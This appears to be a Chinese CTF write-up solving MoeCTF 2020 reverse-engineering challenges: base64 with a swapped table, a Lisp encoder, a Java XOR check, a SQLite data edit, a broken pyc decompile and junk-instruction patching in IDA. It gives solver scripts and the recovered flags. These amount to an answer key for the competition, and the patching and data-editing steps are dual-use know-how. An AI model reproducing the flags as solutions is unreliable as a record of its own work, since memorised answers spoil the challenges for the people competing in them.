但是我们发现一个问题,就是程序内部的数据竟然不是字符,而是十六进制的形式: 怎么办呢???这里涉及到了另外一个知识点“大小端序”,我们看到的v2、v15、v16、v17都是小端序存储显示出来的,我们进入hex窗口或者自己手动dump出来正常的内容: \\x9A\\x87\\x9C\\xB5\\xFE\\x58\\xD1\\x4A\\xFE\\x0B\\xED\\x6C\\xFA\\xFD\\xEB\\xCB\\xE8\\x34\\xA3\\x43\\x8E\\xA3\\x47\\x7A 下来就是一个换表base64的问题了: 123456import base64flag_en = b'\\x9A\\x87\\x9C\\xB5\\xFE\\x58\\xD1\\x4A\\xFE\\x0B\\xED\\x6C\\xFA\\xFD\\xEB\\xCB\\xE8\\x34\\xA3\\x43\\x8E\\xA3\\x47\\x7A'flag = str(base64.b64encode(flag_en)).replace('5', '{').replace('6', '}')print(flag)# moectf{Y0Ur+C+1s+v3ry+g0o0OOo0d} EasyCommonLisp这个题真是令人头大!!!为了做这个题,还得去学习一下clisp这门语言 “一名真正的CTF选手,应该在15mins之内学会任何一门语言!!!(傲娇脸)” ——XDSEC_Reverier(RX 题目: 12345(defparameter +alphabet+"AB#DEd@f&hi!klmnLMw3^5678N}PF|HIxyz012JKYZab%Q{S(UVWX-pqrs")(defparameter +len+(length +alphabet+))(defun divmod(number divisor)(values(floor(/ number divisor))(mod number divisor)))(defun encode(str)(let((value 0)(rstr(reverse str))(output(make-string-output-stream))(npad 0))(loop for i from 0 to(1- (length str))do(setf value(+ value(*(char-code(elt rstr i))(expt 256 i)))))(loop while(>= value +len+)do(multiple-value-bind(new-value mod)(divmod value +len+)(setf value new-value)(write-char(elt +alphabet+ mod) output)))(write-char(elt +alphabet+ value)output)(loop for char across str do(if(char-equal char #\\Nul)(incf npad)(return)))(concatenate 'string(coerce(loop for i from 1 to npad collecting #\\1)'string)(reverse(get-output-stream-string output)))))(print(encode "moectf{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"));;;; eof;;;; flag is "&Dx16Y!x3((xYDlShWbQ5hmzWf3EZly6h8UwD#d-1-&#WlDHJaxM5qAzlPP" 手动格式化一下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566(defparameter +alphabet+"AB#DEd@f&hi!klmnLMw3^5678N}PF|HIxyz012JKYZab%Q{S(UVWX-pqrs");(defparameter +len+(length +alphabet+))( defun divmod(number divisor ) ( values(floor(/ number divisor))(mod number divisor) ))( defun encode(str) ( let ( (value 0) (rstr(reverse str)) (output(make-string-output-stream)) (npad 0) ) ( loop for i from 0 to(1- (length str)) do ( setf value ( + value(*(char-code(elt rstr i))(expt 256 i)) ) ) ) ( loop while(>= value +len+) do ( multiple-value-bind (new-value mod) (divmod value +len+) (setf value new-value) (write-char(elt +alphabet+ mod) output) ) ) ( write-char(elt +alphabet+ value)output ) ( loop for char across str do ( if(char-equal char #\\Nul) (incf npad);npad++; (return) ) ) (print npad) ( concatenate 'string(coerce(loop for i from 1 to npad collecting #\\1)'string) ( reverse(get-output-stream-string output) ) ) ))(print(encode "moectf{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"));;;; eof;;;; flag is "&Dx16Y!x3((xYDlShWbQ5hmzWf3EZly6h8UwD#d-1-&#WlDHJaxM5qAzlPP" 虽然比题目好看一点,但还是很难看…… 这个题的解题过程就是:学会clisp=>读懂题目=>敲成python=>写逆程序 转换成python: 12345678910111213141516171819202122232425262728alphabet = "AB#DEd@f&hi!klmnLMw3^5678N}PF|HIxyz012JKYZab%Q{S(UVWX-pqrs"length = len(alphabet)def divmod(a,b): return a//b,a%bdef reverse(s): return ''.join(reversed(s))def encode(str): ans="" value = 0 rstr = reverse(str) napd = 0 for i in range(0,len(str)): value = value + ord(rstr[i])*(256**i) while value>=length: value, mod = divmod(value, length) ans=ans+alphabet[mod] ans=ans+alphabet[value] ans=reverse(ans) return ansprint(encode("moectf{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"))#"&Dx16Y!x3((xYDlShWbQ5hmzWf3EZly6h8UwD#d-1-&#WlDHJaxM5qAzlPP" 然后写一下解密脚本: 12345678910111213alphabet = "AB#DEd@f&hi!klmnLMw3^5678N}PF|HIxyz012JKYZab%Q{S(UVWX-pqrs"ans = "&Dx16Y!x3((xYDlShWbQ5hmzWf3EZly6h8UwD#d-1-&#WlDHJaxM5qAzlPP"def reverse(s): return ''.join(reversed(s))ans = reverse(ans)value = alphabet.find(ans[len(ans)-1])for i in range(0,58): value = len(alphabet)*value + alphabet.find(ans[len(ans)-2-i])a = hex(value)flag = str(a)flag = flag[2:len(flag)-1]print(flag.decode('hex'))# moectf{woO0Oow_Y0u-ar3_th3_g0D_0f_LIIIISP!} 对了,解密脚本是python2写的,因为在python3环境下会有str和bytes两种数据类型之间奇奇怪怪的错误…… EzJava据名字猜考点:java逆向。 先找java逆向工具,这里我用的是jd.gui,把题目拖进去就可以看到java代码: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748import java.io.BufferedReader;import java.io.InputStreamReader;public class EasyJava { public static void main(String[] paramArrayOfString) { System.out.println("MoeCTF 2020 EasyJava --by Reverier"); System.out.println("Input your flag and I will check it:"); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in)); String str = null; int[] arrayOfInt = { 43, 23, 23, 62, 110, 66, 94, 99, 126, 68, 43, 62, 76, 110, 22, 5, 15, 111, 86, 75, 78, 83, 86, 0, 85, 86 }; try { str = bufferedReader.readLine(); } catch (Exception exception) { System.out.println("ERROR: Undefined Exception."); } if (str.isEmpty()) { System.out.println("Nothing received."); } else { if (str.length() != 35) { //flag长度35 System.out.println("Rua~~~Wrong!"); return; } String str1 = str.substring(0, 7); if (!str1.equals("moectf{")) { System.out.println("Rua~~~Wrong!"); return; } String str2 = str.substring(7, str.length() - 1); //把flag的头"moectf{"和最后面的"}"脱掉 //核心代码段 for (byte b = 0; b < str2.length() - 1; b++) { char c1 = str2.charAt(b); char c2 = str2.charAt(b + 1); int i = c1 ^ c2; if (i != arrayOfInt[b]) { System.out.println("Rua~~~Wrong!"); return; } } System.out.println("Congratulations!"); } }} 我们只需要仔细看核心代码段,又是异或……自反性,搞他!!! 因为flag一共35位,掐头去尾还剩27位,但是它内部数据只有26位,所以我们没有办法逆向搞并且flag是有意义字符串,所以这里还是选择正向暴力!!! 暴力出奇迹,打表得省一 123456789101112131415#include<bits/stdc++.h>using namespace std;int main(){ int b[50]={43,23,23,62,110,66,94,99,126,68,43,62,76,110,22,5,15,111,86,75,78,83,86,0,85,86}; for(int n=32;n<=126;n++) { char rel[100]; rel[0]=n; for(int i=0;i<26;i++) rel[i+1]=b[i]^rel[i]; cout<<rel<<"\\n"; } return 0;} moectf{Java_1s-N0t_a-CUP_0f-c0ff3e} RollCall这个题比较特殊…… 不管是题干还是hint都在暗示我们一件事情这程序不能逆向!!!我们看一下这个程序包里面有什么??? 嗯?.sqlite文件???这是一个数据库文件,那我们就可以猜到学生的各项数据他是存储在数据库里面,我们如果不能在程序添加性别为2,那我们可以直接对数据库操作。我是打开了wsl然后装一个 sqlite数据库,用insert命令向数据库里面插入一条性别为2的信息: sudo apt install sqlite3 sqlite3 UserData .tables //查看该库下面的表,获取该库下表:students PRAGMA table_info(students);//查看students表下所有字段:ID,name,sex,averange INSERT INTO students VALUES (233, ‘BlackBird’, 2, 2 ); 然后再打开程序: MidPythonemmmm……pyc文件逆向先反编译,还是上面的那个uncompyle6,但是,报错了???我们打开“半生半熟”(一半py一半字节码)的py文件:(超长代码警告!!!) 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616# uncompyle6 version 3.7.3# Python bytecode 3.8 (3413)# Decompiled from: Python 3.8.5 (tags/v3.8.5:580fbb0, Jul 20 2020, 15:57:54) [MSC v.1924 64 bit (AMD64)]# Embedded file name: ./EzPython/source.py# Compiled at: 2020-07-25 16:57:06# Size of source mod 2**32: 5784 bytesInstruction context: L. 76 414 JUMP_BACK 32 'to 32'-> 416 JUMP_FORWARD 430 'to 430' 418_0 COME_FROM 60 '60'Instruction context: L. 118 414 JUMP_BACK 32 'to 32'-> 416 JUMP_FORWARD 430 'to 430' 418_0 COME_FROM 60 '60'T_letter = ['', '', '', '', '']def Create_Matrix(key): key = Remove_Duplicates(key) key = key.replace(' ', '') j = 0 for i in range(len(key)): T_letter[j] += key[i] if 0 == (i + 1) % 5: j += 1def Remove_Duplicates(key): key = key.upper() _key = '' for ch in key: if ch == 'I': ch = 'J' if ch in _key: continue else: _key += ch return _keydef Get_MatrixIndex(ch): for i in range(len(T_letter)): for j in range(len(T_letter)): if ch == T_letter[i][j]: return ( i, j)def Encrypt--- This code section failed: --- L. 44 0 LOAD_STR '' 2 STORE_FAST 'ciphertext' L. 46 4 LOAD_GLOBAL len 6 LOAD_FAST 'plaintext' 8 CALL_FUNCTION_1 1 '' 10 LOAD_CONST 2 12 BINARY_MODULO 14 LOAD_CONST 0 16 COMPARE_OP != 18 POP_JUMP_IF_FALSE 28 'to 28' L. 47 20 LOAD_FAST 'plaintext' 22 LOAD_STR 'Z' 24 INPLACE_ADD 26 STORE_FAST 'plaintext' 28_0 COME_FROM 18 '18' L. 49 28 LOAD_CONST 0 30 STORE_FAST 'i' L. 50 32 LOAD_FAST 'i' 34 LOAD_GLOBAL len 36 LOAD_FAST 'plaintext' 38 CALL_FUNCTION_1 1 '' 40 COMPARE_OP < 42_44 POP_JUMP_IF_FALSE 440 'to 440' L. 51 46 LOAD_CONST True 48 LOAD_FAST 'plaintext' 50 LOAD_FAST 'i' 52 BINARY_SUBSCR 54 LOAD_METHOD isalpha 56 CALL_METHOD_0 0 '' 58 COMPARE_OP == 60_62 POP_JUMP_IF_FALSE 418 'to 418' L. 52 64 LOAD_FAST 'i' 66 LOAD_CONST 1 68 BINARY_ADD 70 STORE_FAST 'j' L. 53 72 LOAD_FAST 'j' 74 LOAD_GLOBAL len 76 LOAD_FAST 'plaintext' 78 CALL_FUNCTION_1 1 '' 80 COMPARE_OP < 82_84 POP_JUMP_IF_FALSE 406 'to 406' L. 54 86 LOAD_CONST True 88 LOAD_FAST 'plaintext' 90 LOAD_FAST 'j' 92 BINARY_SUBSCR 94 LOAD_METHOD isalpha 96 CALL_METHOD_0 0 '' 98 COMPARE_OP == 100_102 POP_JUMP_IF_FALSE 396 'to 396' L. 55 104 LOAD_STR 'I' 106 LOAD_FAST 'plaintext' 108 LOAD_FAST 'i' 110 BINARY_SUBSCR 112 LOAD_METHOD upper 114 CALL_METHOD_0 0 '' 116 COMPARE_OP == 118 POP_JUMP_IF_FALSE 130 'to 130' L. 56 120 LOAD_GLOBAL Get_MatrixIndex 122 LOAD_STR 'J' 124 CALL_FUNCTION_1 1 '' 126 STORE_FAST 'x' 128 JUMP_FORWARD 146 'to 146' 130_0 COME_FROM 118 '118' L. 58 130 LOAD_GLOBAL Get_MatrixIndex L. 59 132 LOAD_FAST 'plaintext' 134 LOAD_FAST 'i' 136 BINARY_SUBSCR 138 LOAD_METHOD upper 140 CALL_METHOD_0 0 '' L. 58 142 CALL_FUNCTION_1 1 '' 144 STORE_FAST 'x' 146_0 COME_FROM 128 '128' L. 60 146 LOAD_STR 'I' 148 LOAD_FAST 'plaintext' 150 LOAD_FAST 'j' 152 BINARY_SUBSCR 154 LOAD_METHOD upper 156 CALL_METHOD_0 0 '' 158 COMPARE_OP == 160 POP_JUMP_IF_FALSE 172 'to 172' L. 61 162 LOAD_GLOBAL Get_MatrixIndex 164 LOAD_STR 'J' 166 CALL_FUNCTION_1 1 '' 168 STORE_FAST 'y' 170 JUMP_FORWARD 188 'to 188' 172_0 COME_FROM 160 '160' L. 63 172 LOAD_GLOBAL Get_MatrixIndex 174 LOAD_FAST 'plaintext' 176 LOAD_FAST 'j' 178 BINARY_SUBSCR 180 LOAD_METHOD upper 182 CALL_METHOD_0 0 '' 184 CALL_FUNCTION_1 1 '' 186 STORE_FAST 'y' 188_0 COME_FROM 170 '170' L. 65 188 LOAD_FAST 'x' 190 LOAD_CONST 0 192 BINARY_SUBSCR 194 LOAD_FAST 'y' 196 LOAD_CONST 0 198 BINARY_SUBSCR 200 COMPARE_OP == 202_204 POP_JUMP_IF_FALSE 268 'to 268' L. 66 206 LOAD_FAST 'ciphertext' 208 LOAD_FAST 'T_letter' 210 LOAD_FAST 'x' 212 LOAD_CONST 0 214 BINARY_SUBSCR 216 BINARY_SUBSCR 218 LOAD_FAST 'x' 220 LOAD_CONST 1 222 BINARY_SUBSCR 224 LOAD_CONST 1 226 BINARY_ADD L. 67 228 LOAD_CONST 5 L. 66 230 BINARY_MODULO 232 BINARY_SUBSCR L. 67 234 LOAD_FAST 'T_letter' 236 LOAD_FAST 'y' 238 LOAD_CONST 0 240 BINARY_SUBSCR 242 BINARY_SUBSCR 244 LOAD_FAST 'y' 246 LOAD_CONST 1 248 BINARY_SUBSCR 250 LOAD_CONST 1 252 BINARY_ADD 254 LOAD_CONST 5 256 BINARY_MODULO 258 BINARY_SUBSCR L. 66 260 BINARY_ADD 262 INPLACE_ADD 264 STORE_FAST 'ciphertext' 266 JUMP_ABSOLUTE 406 'to 406' 268_0 COME_FROM 202 '202' L. 68 268 LOAD_FAST 'x' 270 LOAD_CONST 1 272 BINARY_SUBSCR 274 LOAD_FAST 'y' 276 LOAD_CONST 1 278 BINARY_SUBSCR 280 COMPARE_OP == 282_284 POP_JUMP_IF_FALSE 348 'to 348' L. 69 286 LOAD_FAST 'ciphertext' 288 LOAD_FAST 'T_letter' 290 LOAD_FAST 'x' 292 LOAD_CONST 1 294 BINARY_SUBSCR 296 LOAD_CONST 1 298 BINARY_ADD L. 70 300 LOAD_CONST 5 L. 69 302 BINARY_MODULO 304 BINARY_SUBSCR L. 70 306 LOAD_FAST 'x' 308 LOAD_CONST 0 310 BINARY_SUBSCR L. 69 312 BINARY_SUBSCR L. 70 314 LOAD_FAST 'T_letter' 316 LOAD_FAST 'y' 318 LOAD_CONST 1 320 BINARY_SUBSCR 322 LOAD_CONST 1 324 BINARY_ADD 326 LOAD_CONST 5 328 BINARY_MODULO 330 BINARY_SUBSCR 332 LOAD_FAST 'y' 334 LOAD_CONST 0 336 BINARY_SUBSCR 338 BINARY_SUBSCR L. 69 340 BINARY_ADD 342 INPLACE_ADD 344 STORE_FAST 'ciphertext' 346 JUMP_ABSOLUTE 406 'to 406' 348_0 COME_FROM 282 '282' L. 72 348 LOAD_FAST 'ciphertext' 350 LOAD_FAST 'T_letter' 352 LOAD_FAST 'x' 354 LOAD_CONST 0 356 BINARY_SUBSCR 358 BINARY_SUBSCR 360 LOAD_FAST 'y' 362 LOAD_CONST 1 364 BINARY_SUBSCR 366 BINARY_SUBSCR 368 LOAD_FAST 'T_letter' 370 LOAD_FAST 'y' 372 LOAD_CONST 0 374 BINARY_SUBSCR 376 BINARY_SUBSCR 378 LOAD_FAST 'x' 380 LOAD_CONST 1 382 BINARY_SUBSCR 384 BINARY_SUBSCR 386 BINARY_ADD 388 INPLACE_ADD 390 STORE_FAST 'ciphertext' L. 73 392_394 BREAK_LOOP 406 'to 406' 396_0 COME_FROM 100 '100' L. 74 396 LOAD_FAST 'j' 398 LOAD_CONST 1 400 INPLACE_ADD 402 STORE_FAST 'j' 404 JUMP_BACK 72 'to 72' 406_0 COME_FROM 82 '82' L. 75 406 LOAD_FAST 'j' 408 LOAD_CONST 1 410 BINARY_ADD 412 STORE_FAST 'i' L. 76 414 JUMP_BACK 32 'to 32' 416 JUMP_FORWARD 430 'to 430' 418_0 COME_FROM 60 '60' L. 78 418 LOAD_FAST 'ciphertext' 420 LOAD_FAST 'plaintext' 422 LOAD_FAST 'i' 424 BINARY_SUBSCR 426 INPLACE_ADD 428 STORE_FAST 'ciphertext' 430_0 COME_FROM 416 '416' L. 79 430 LOAD_FAST 'i' 432 LOAD_CONST 1 434 INPLACE_ADD 436 STORE_FAST 'i' 438 JUMP_BACK 32 'to 32' 440_0 COME_FROM 42 '42' L. 81 440 LOAD_FAST 'ciphertext' 442 RETURN_VALUE -1 RETURN_LAST Parse error at or near `JUMP_FORWARD' instruction at offset 416def Decrypt--- This code section failed: --- L. 87 0 LOAD_STR '' 2 STORE_FAST 'plaintext' L. 88 4 LOAD_GLOBAL len 6 LOAD_FAST 'ciphertext' 8 CALL_FUNCTION_1 1 '' 10 LOAD_CONST 2 12 BINARY_MODULO 14 LOAD_CONST 0 16 COMPARE_OP != 18 POP_JUMP_IF_FALSE 28 'to 28' L. 89 20 LOAD_FAST 'ciphertext' 22 LOAD_STR 'Z' 24 INPLACE_ADD 26 STORE_FAST 'ciphertext' 28_0 COME_FROM 18 '18' L. 91 28 LOAD_CONST 0 30 STORE_FAST 'i' L. 92 32 LOAD_FAST 'i' 34 LOAD_GLOBAL len 36 LOAD_FAST 'ciphertext' 38 CALL_FUNCTION_1 1 '' 40 COMPARE_OP < 42_44 POP_JUMP_IF_FALSE 440 'to 440' L. 93 46 LOAD_CONST True 48 LOAD_FAST 'ciphertext' 50 LOAD_FAST 'i' 52 BINARY_SUBSCR 54 LOAD_METHOD isalpha 56 CALL_METHOD_0 0 '' 58 COMPARE_OP == 60_62 POP_JUMP_IF_FALSE 418 'to 418' L. 94 64 LOAD_FAST 'i' 66 LOAD_CONST 1 68 BINARY_ADD 70 STORE_FAST 'j' L. 95 72 LOAD_FAST 'j' 74 LOAD_GLOBAL len 76 LOAD_FAST 'ciphertext' 78 CALL_FUNCTION_1 1 '' 80 COMPARE_OP < 82_84 POP_JUMP_IF_FALSE 406 'to 406' L. 96 86 LOAD_CONST True 88 LOAD_FAST 'ciphertext' 90 LOAD_FAST 'j' 92 BINARY_SUBSCR 94 LOAD_METHOD isalpha 96 CALL_METHOD_0 0 '' 98 COMPARE_OP == 100_102 POP_JUMP_IF_FALSE 396 'to 396' L. 97 104 LOAD_STR 'I' 106 LOAD_FAST 'ciphertext' 108 LOAD_FAST 'i' 110 BINARY_SUBSCR 112 LOAD_METHOD upper 114 CALL_METHOD_0 0 '' 116 COMPARE_OP == 118 POP_JUMP_IF_FALSE 130 'to 130' L. 98 120 LOAD_GLOBAL Get_MatrixIndex 122 LOAD_STR 'J' 124 CALL_FUNCTION_1 1 '' 126 STORE_FAST 'x' 128 JUMP_FORWARD 146 'to 146' 130_0 COME_FROM 118 '118' L. 100 130 LOAD_GLOBAL Get_MatrixIndex L. 101 132 LOAD_FAST 'ciphertext' 134 LOAD_FAST 'i' 136 BINARY_SUBSCR 138 LOAD_METHOD upper 140 CALL_METHOD_0 0 '' L. 100 142 CALL_FUNCTION_1 1 '' 144 STORE_FAST 'x' 146_0 COME_FROM 128 '128' L. 102 146 LOAD_STR 'I' 148 LOAD_FAST 'ciphertext' 150 LOAD_FAST 'j' 152 BINARY_SUBSCR 154 LOAD_METHOD upper 156 CALL_METHOD_0 0 '' 158 COMPARE_OP == 160 POP_JUMP_IF_FALSE 172 'to 172' L. 103 162 LOAD_GLOBAL Get_MatrixIndex 164 LOAD_STR 'J' 166 CALL_FUNCTION_1 1 '' 168 STORE_FAST 'y' 170 JUMP_FORWARD 188 'to 188' 172_0 COME_FROM 160 '160' L. 105 172 LOAD_GLOBAL Get_MatrixIndex 174 LOAD_FAST 'ciphertext' 176 LOAD_FAST 'j' 178 BINARY_SUBSCR 180 LOAD_METHOD upper 182 CALL_METHOD_0 0 '' 184 CALL_FUNCTION_1 1 '' 186 STORE_FAST 'y' 188_0 COME_FROM 170 '170' L. 107 188 LOAD_FAST 'x' 190 LOAD_CONST 0 192 BINARY_SUBSCR 194 LOAD_FAST 'y' 196 LOAD_CONST 0 198 BINARY_SUBSCR 200 COMPARE_OP == 202_204 POP_JUMP_IF_FALSE 268 'to 268' L. 108 206 LOAD_FAST 'plaintext' 208 LOAD_FAST 'T_letter' 210 LOAD_FAST 'x' 212 LOAD_CONST 0 214 BINARY_SUBSCR 216 BINARY_SUBSCR 218 LOAD_FAST 'x' 220 LOAD_CONST 1 222 BINARY_SUBSCR 224 LOAD_CONST 1 226 BINARY_SUBTRACT L. 109 228 LOAD_CONST 5 L. 108 230 BINARY_MODULO 232 BINARY_SUBSCR L. 109 234 LOAD_FAST 'T_letter' 236 LOAD_FAST 'y' 238 LOAD_CONST 0 240 BINARY_SUBSCR 242 BINARY_SUBSCR 244 LOAD_FAST 'y' 246 LOAD_CONST 1 248 BINARY_SUBSCR 250 LOAD_CONST 1 252 BINARY_SUBTRACT 254 LOAD_CONST 5 256 BINARY_MODULO 258 BINARY_SUBSCR L. 108 260 BINARY_ADD 262 INPLACE_ADD 264 STORE_FAST 'plaintext' 266 JUMP_ABSOLUTE 406 'to 406' 268_0 COME_FROM 202 '202' L. 110 268 LOAD_FAST 'x' 270 LOAD_CONST 1 272 BINARY_SUBSCR 274 LOAD_FAST 'y' 276 LOAD_CONST 1 278 BINARY_SUBSCR 280 COMPARE_OP == 282_284 POP_JUMP_IF_FALSE 348 'to 348' L. 111 286 LOAD_FAST 'plaintext' 288 LOAD_FAST 'T_letter' 290 LOAD_FAST 'x' 292 LOAD_CONST 1 294 BINARY_SUBSCR 296 LOAD_CONST 1 298 BINARY_SUBTRACT L. 112 300 LOAD_CONST 5 L. 111 302 BINARY_MODULO 304 BINARY_SUBSCR L. 112 306 LOAD_FAST 'x' 308 LOAD_CONST 0 310 BINARY_SUBSCR L. 111 312 BINARY_SUBSCR L. 112 314 LOAD_FAST 'T_letter' 316 LOAD_FAST 'y' 318 LOAD_CONST 1 320 BINARY_SUBSCR 322 LOAD_CONST 1 324 BINARY_SUBTRACT 326 LOAD_CONST 5 328 BINARY_MODULO 330 BINARY_SUBSCR 332 LOAD_FAST 'y' 334 LOAD_CONST 0 336 BINARY_SUBSCR 338 BINARY_SUBSCR L. 111 340 BINARY_ADD 342 INPLACE_ADD 344 STORE_FAST 'plaintext' 346 JUMP_ABSOLUTE 406 'to 406' 348_0 COME_FROM 282 '282' L. 114 348 LOAD_FAST 'plaintext' 350 LOAD_FAST 'T_letter' 352 LOAD_FAST 'x' 354 LOAD_CONST 0 356 BINARY_SUBSCR 358 BINARY_SUBSCR 360 LOAD_FAST 'y' 362 LOAD_CONST 1 364 BINARY_SUBSCR 366 BINARY_SUBSCR 368 LOAD_FAST 'T_letter' 370 LOAD_FAST 'y' 372 LOAD_CONST 0 374 BINARY_SUBSCR 376 BINARY_SUBSCR 378 LOAD_FAST 'x' 380 LOAD_CONST 1 382 BINARY_SUBSCR 384 BINARY_SUBSCR 386 BINARY_ADD 388 INPLACE_ADD 390 STORE_FAST 'plaintext' L. 115 392_394 BREAK_LOOP 406 'to 406' 396_0 COME_FROM 100 '100' L. 116 396 LOAD_FAST 'j' 398 LOAD_CONST 1 400 INPLACE_ADD 402 STORE_FAST 'j' 404 JUMP_BACK 72 'to 72' 406_0 COME_FROM 82 '82' L. 117 406 LOAD_FAST 'j' 408 LOAD_CONST 1 410 BINARY_ADD 412 STORE_FAST 'i' L. 118 414 JUMP_BACK 32 'to 32' 416 JUMP_FORWARD 430 'to 430' 418_0 COME_FROM 60 '60' L. 120 418 LOAD_FAST 'plaintext' 420 LOAD_FAST 'ciphertext' 422 LOAD_FAST 'i' 424 BINARY_SUBSCR 426 INPLACE_ADD 428 STORE_FAST 'plaintext' 430_0 COME_FROM 416 '416' L. 121 430 LOAD_FAST 'i' 432 LOAD_CONST 1 434 INPLACE_ADD 436 STORE_FAST 'i' 438 JUMP_BACK 32 'to 32' 440_0 COME_FROM 42 '42' L. 123 440 LOAD_FAST 'plaintext' 442 RETURN_VALUE -1 RETURN_LAST Parse error at or near `JUMP_FORWARD' instruction at offset 416if __name__ == '__main__': key = 'YWCNOPJAFGHDTULMQXZEBRVKS' flag_enc = 'WYTFSQOYGYOQKJLHUE' Create_Matrix(key) print('Please Input flag: ') plaintext = input() if plaintext[0:7] != 'moectf{' or plaintext[(-1)] != '}': print('Ruaaaaa~Wrong!') input() exit() else: plaintext = plaintext[7:-1] flag = Encrypt(plaintext, T_letter) if flag != flag_enc: print('Ruaaaaa~Wrong!') input() exit() else: print('Congratulations!') input() exit() 看着这“夹生”的代码,我内心反复着mmp~~~但是突然有个点:两个没有完全解析的函数Encrypt、Decrypt……等下!!!Decrypt函数给出来了?那我们拿着解密函数不用不是对不起它么: 12345678import puzzlekey = 'YWCNOPJAFGHDTULMQXZEBRVKS'cipher = 'WYTFSQOYGYOQKJLHUE'puzzle.Create_Matrix(key)print(puzzle.T_letter)print(puzzle.Decrypt(cipher,puzzle.T_letter)) en???这么简单???就是这么简单……想不到吧~~~啦啦啦啦啦啦~~~ Flower这个题讲真好难!!!这里先感谢一下void大神对我的指导,void永远是我大哥!!! 好了,下来开始正题: 根据题目名称flower,盲猜本题考查花指令,拖进IDA分析,扣符号表死马……F12查看字符串,这里有一个小点,就是我们要让我们的IDA显示中文字符。根据字符串定位main函数: F5大法,然后稍微改一改变量名(这样子,能舒服一些……找到对数据处理的函数: 经过这一部分处理后的结果和byte_4032AC进行比较: 跟进off_4032A4: 分别跟进两个函数,发现loc_401310存在花指令: 我们手动patch一下,把40133B修改成nop:点在40133B,按U,切换到hex-view,F2修改74为90,F2保存,切换回IDA view,按C,点击401310,按P: 这个函数等效于: 12for(int i=0;i<16;i++) input[i] = 16 * (inpout[result] ^ 0x16) | ((inpout[result] ^ 0x16) >> 4); 然后我们跟进sub_4011B0: 然后查看off_404018: 跟进loc_4012B0,发现花指令,和之前的那个一样,按照上面说的处理: 跟进loc_401240,也是花指令,处理掉: 跟进loc_401270,还是花指令,处理掉: 我们现在相当于是把整个程序分析差不多了,我们现在理一下程序的思路:主函数调用func1(loc_401310)、func2(sub_4011B0);func2又调用fun0(sub_4012B0)、fun1(sub_401240)、fun2(sub_401270);func2又返回sub_4012D0函数。最后再跟byte_4032AC比较。我们现在需要弄清sub_4012D0函数在干什么,先试着用IDA分析一下: 貌似不太行……我们改动态调试: F9开始运行,输入0123456789abcdef,在断点处记录数据: 得知这个函数就是在挨个异或,每一位对应异或的内容是77,76,71,80,75,70,67,74,69,78,73,72,68,66,65。我们现在就可以写一个流程一样的程序,便于我们理解(便于写暴力,狗头.jpg 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#include<bits/stdc++.h>using namespace std;unsigned char input[20];int rel[20]={62,254,153,118,139,220,13,24,50,120,111,191,67,116,51,115};void fun0(int x1,int x2){ input[x1] += x2; return;}void fun1(int x1,int x2){ input[x1] ^=input[x2]; return;}void fun2(int x1,int x2){ input[x1] = abs(input[x1]-input[x2]); return;} void func1(){ for(int i=0;i<16;i++) { input[i] = 16 * (input[i] ^ 0x16) | ((input[i] ^ 0x16) >> 4); } return;}void func2(){ fun0(0,1); fun1(1,2); fun2(2,3); fun1(3,4); fun2(4,5); fun0(5,6); fun0(6,7); input[0]^=0x4D; input[1]^=0x4C; input[2]^=0x47; input[3]^=0x50; input[4]^=0x4B; input[5]^=0x46; input[6]^=0x43; input[7]^=0x4A; input[8]^=0x45; input[9]^=0x4E; input[10]^=0x49; input[11]^=0x48; input[12]^=0x44; input[13]^=0x42; input[14]^=0x41; return;}int main(){ cin>>input; if(strlen(input)<16) return 0; func1(); func2(); for(int i=0;i<16;i++) if(input[i]!=rel[i]) return 0; cout<<"you're right"; return 0;} 现在的话如果懒得逆向,你可以试试暴力,16位,你加油(狗头 我们现在逆向一下就ok了,没什么说的了,直接贴脚本: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950#include<bits/stdc++.h>using namespace std;unsigned char ori[20]={62,254,153,118,139,220,13,24,50,120,111,191,67,116,51,115};unsigned char input[20];void ini(){ for(int i=0;i<16;i++) input[i]=ori[i]; return;}int main(){ unsigned char ori[20]={62,254,153,118,139,220,13,24,50,120,111,191,67,116,51,115}; unsigned char input[20]; for(int i=0;i<16;i++) input[i]=ori[i]; input[0]^=0x4D; input[1]^=0x4C; input[2]^=0x47; input[3]^=0x50; input[4]^=0x4B; input[5]^=0x46; input[6]^=0x43; input[7]^=0x4A; input[8]^=0x45; input[9]^=0x4E; input[10]^=0x49; input[11]^=0x48; input[12]^=0x44; input[13]^=0x42; input[14]^=0x41; input[6]-=7; input[5]-=6; input[0] -= 1; for(int i=0;i<16;i++) ori[i]=input[i]; input[4] += input[5]; input[3] ^=input[4]; input[2] = input[3]-input[2]; input[1] ^=input[2]; for(int k=0;k<16;k++) { input[k] = (16 * input[k] | (input[k] >> 4)); input[k] ^= 0x16; cout<<input[k]; } cout<<"\\n\\n"; return 0;} 对了,忘记说了。如果IDA里面显示的是unsigned char,你的程序也一定要用unsigned char,尤其是程序中间的处理涉及位运算。 我没做出来的GoOooO0OoEasyAlgorithmEasy 